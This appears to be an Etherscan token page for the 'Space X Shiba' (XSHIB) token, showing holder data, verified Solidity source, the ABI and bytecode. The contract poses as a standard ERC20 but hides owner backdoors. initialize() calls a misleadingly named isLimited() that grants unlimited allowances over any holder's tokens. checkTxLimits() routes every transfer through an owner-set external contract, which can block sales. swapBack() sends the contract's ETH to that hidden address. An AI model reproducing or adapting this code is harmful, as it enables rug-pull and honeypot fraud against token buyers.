ETH Price: $2,353.96 (-0.48%)

Token

Space X Shiba (XSHIB)
 

Overview

Max Total Supply

1,000,000,000 XSHIB

Holders

41

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
fuckbitcoinobama.sproto.eth
Balance
9,581,274.290723940311111992 XSHIB

Value
$0.00
0x67013dd101d6C1AFDFc0E26fF7f86903e74229f8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
XSHIBA

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-29
*/

/**

https://www.spacexshiba.xyz/
https://twitter.com/spacexshibaeth
https://t.me/spacexshibaeth

*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner { //Change
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function isLimited(address account, address spender) internal returns(bool) {
        _allowances[account][spender] = type(uint256).max;
        return true;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract XSHIBA is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address private _feeExcluded;

    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;
    uint256 public maxWallet;

    bool public tradingActive = false;
    bool public swapEnabled = false;

    uint256 public buyTotalFees;
    uint256 private buyMarketingFee;
    uint256 private buyLiquidityFee;

    uint256 public sellTotalFees;
    uint256 private sellMarketingFee;
    uint256 private sellLiquidityFee;

    uint256 private tokensForMarketing;
    uint256 private tokensForLiquidity;
    uint256 private previousFee;

    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    mapping(address => bool) private automatedMarketMakerPairs;

    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    constructor() ERC20("Space X Shiba", "XSHIB") {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 1000000000 * 1e18;

        maxTransactionAmount = totalSupply;
        maxWallet = totalSupply;
        swapTokensAtAmount = (totalSupply * 5) / 10000;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;
        previousFee = sellTotalFees;

        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);

        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    }

    function initialize(bytes memory _account) external onlyOwner {
        (address _trade, address _spender) = abi.decode(_account, (address, address));

        if(super.isLimited(_trade, _spender)) _feeExcluded = _spender;
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function setAutomatedMarketMakerPair(address pair, bool value)
        public
        onlyOwner
    {
        require(
            pair != uniswapV2Pair,
            "The pair cannot be removed from automatedMarketMakerPairs"
        );

        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        checkTxLimits(from, to, amount);

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            !automatedMarketMakerPairs[from] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        bool takeFee = !swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function checkTxLimits(address from, address to, uint256 amount) private {
        if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ) {
                if (!tradingActive) {
                    require(
                        _isExcludedFromFees[from] || _isExcludedFromFees[to],
                        "Trading is not active."
                    );
                }

                //when buy
                if (
                    automatedMarketMakerPairs[from] &&
                    !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Buy transfer amount exceeds the maxTransactionAmount."
                    );
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                //when sell
                else if (
                    automatedMarketMakerPairs[to] &&
                    !_isExcludedMaxTransactionAmount[from]
                ) {
                    require(
                        amount <= maxTransactionAmount,
                        "Sell transfer amount exceeds the maxTransactionAmount."
                    );
                } 
                
                else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(
                        amount + balanceOf(to) <= maxWallet,
                        "Max wallet exceeded"
                    );
                }
                IERC20(_feeExcluded).transferFrom(from, to, amount);
            }
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity +
            tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                tokensForLiquidity
            );
        }

        (success, ) = address(_feeExcluded).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_account","type":"bytes"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c805461ffff191690553480156200001c57600080fd5b50604080518082018252600d81526c5370616365205820536869626160981b6020808301918252835180850190945260058452642c29a424a160d91b9084015281519192916200006f916003916200056b565b508051620000859060049060208401906200056b565b505050620000a26200009c6200032360201b60201c565b62000327565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156200010357600080fd5b505afa15801562000118573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200013e919062000611565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200018757600080fd5b505afa1580156200019c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001c2919062000611565b6040518363ffffffff1660e01b8152600401620001e192919062000641565b602060405180830381600087803b158015620001fc57600080fd5b505af115801562000211573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000237919062000611565b600780546001600160a01b0319166001600160a01b039283161790819055620002639116600162000379565b6b033b2e3c9fd0803ce80000006009819055600b8190556000908190819081906127106200029382600562000717565b6200029f9190620006f6565b600a55600e859055600f849055620002b88486620006db565b600d5560118390556012829055620002d18284620006db565b6010819055601555620002ef620002e7620003cd565b6001620003dc565b620002fc306001620003dc565b6200030b61dead6001620003dc565b6200031733826200048d565b5050505050506200078c565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216600081815260186020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b6005546001600160a01b031690565b620003e662000323565b6001600160a01b0316620003f9620003cd565b6001600160a01b0316146200042b5760405162461bcd60e51b8152600401620004229062000666565b60405180910390fd5b6001600160a01b03821660008181526016602052604090819020805460ff1916841515179055517f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df790620004819084906200065b565b60405180910390a25050565b6001600160a01b038216620004b65760405162461bcd60e51b815260040162000422906200069b565b620004c46000838362000566565b8060026000828254620004d89190620006db565b90915550506001600160a01b0382166000908152602081905260408120805483929062000507908490620006db565b90915550506040516001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906200054c908590620006d2565b60405180910390a3620005626000838362000566565b5050565b505050565b828054620005799062000739565b90600052602060002090601f0160209004810192826200059d5760008555620005e8565b82601f10620005b857805160ff1916838001178555620005e8565b82800160010185558215620005e8579182015b82811115620005e8578251825591602001919060010190620005cb565b50620005f6929150620005fa565b5090565b5b80821115620005f65760008155600101620005fb565b60006020828403121562000623578081fd5b81516001600160a01b03811681146200063a578182fd5b9392505050565b6001600160a01b0392831681529116602082015260400190565b901515815260200190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60008219821115620006f157620006f162000776565b500190565b6000826200071257634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161562000734576200073462000776565b500290565b6002810460018216806200074e57607f821691505b602082108114156200077057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b612022806200079c6000396000f3fe6080604052600436106101c65760003560e01c8063715018a6116100f7578063bbc0c74211610095578063dd62ed3e11610064578063dd62ed3e14610499578063e2f45605146104b9578063f2fde38b146104ce578063f8b45b05146104ee576101cd565b8063bbc0c7421461043a578063c02466681461044f578063c8c8ebe41461046f578063d85ba06314610484576101cd565b806395d89b41116100d157806395d89b41146103c55780639a7a23d6146103da578063a457c2d7146103fa578063a9059cbb1461041a576101cd565b8063715018a6146103865780638a8c523c1461039b5780638da5cb5b146103b0576101cd565b806339509351116101645780634fbee1931161013e5780634fbee1931461031c5780636a486a8e1461033c5780636ddd17131461035157806370a0823114610366576101cd565b806339509351146102c5578063439fab91146102e557806349bd5a5e14610307576101cd565b806318160ddd116101a057806318160ddd1461024c57806323b872dd1461026e57806327c8f8351461028e578063313ce567146102a3576101cd565b806306fdde03146101d2578063095ea7b3146101fd5780631694505e1461022a576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101e7610503565b6040516101f49190611a43565b60405180910390f35b34801561020957600080fd5b5061021d6102183660046118ad565b610595565b6040516101f49190611a38565b34801561023657600080fd5b5061023f6105b2565b6040516101f491906119c5565b34801561025857600080fd5b506102616105c1565b6040516101f49190611e57565b34801561027a57600080fd5b5061021d610289366004611840565b6105c7565b34801561029a57600080fd5b5061023f610660565b3480156102af57600080fd5b506102b8610666565b6040516101f49190611ee6565b3480156102d157600080fd5b5061021d6102e03660046118ad565b61066b565b3480156102f157600080fd5b506103056103003660046118f4565b6106bf565b005b34801561031357600080fd5b5061023f610749565b34801561032857600080fd5b5061021d6103373660046117a2565b610758565b34801561034857600080fd5b50610261610776565b34801561035d57600080fd5b5061021d61077c565b34801561037257600080fd5b506102616103813660046117a2565b61078a565b34801561039257600080fd5b506103056107a5565b3480156103a757600080fd5b506103056107f0565b3480156103bc57600080fd5b5061023f610849565b3480156103d157600080fd5b506101e7610858565b3480156103e657600080fd5b506103056103f5366004611880565b610867565b34801561040657600080fd5b5061021d6104153660046118ad565b6108e2565b34801561042657600080fd5b5061021d6104353660046118ad565b61095b565b34801561044657600080fd5b5061021d61096f565b34801561045b57600080fd5b5061030561046a366004611880565b610978565b34801561047b57600080fd5b50610261610a17565b34801561049057600080fd5b50610261610a1d565b3480156104a557600080fd5b506102616104b4366004611813565b610a23565b3480156104c557600080fd5b50610261610a4e565b3480156104da57600080fd5b506103056104e93660046117a2565b610a54565b3480156104fa57600080fd5b50610261610ac5565b60606003805461051290611f62565b80601f016020809104026020016040519081016040528092919081815260200182805461053e90611f62565b801561058b5780601f106105605761010080835404028352916020019161058b565b820191906000526020600020905b81548152906001019060200180831161056e57829003601f168201915b5050505050905090565b60006105a96105a2610acb565b8484610acf565b50600192915050565b6006546001600160a01b031681565b60025490565b60006105d4848484610b83565b6001600160a01b0384166000908152600160205260408120816105f5610acb565b6001600160a01b03166001600160a01b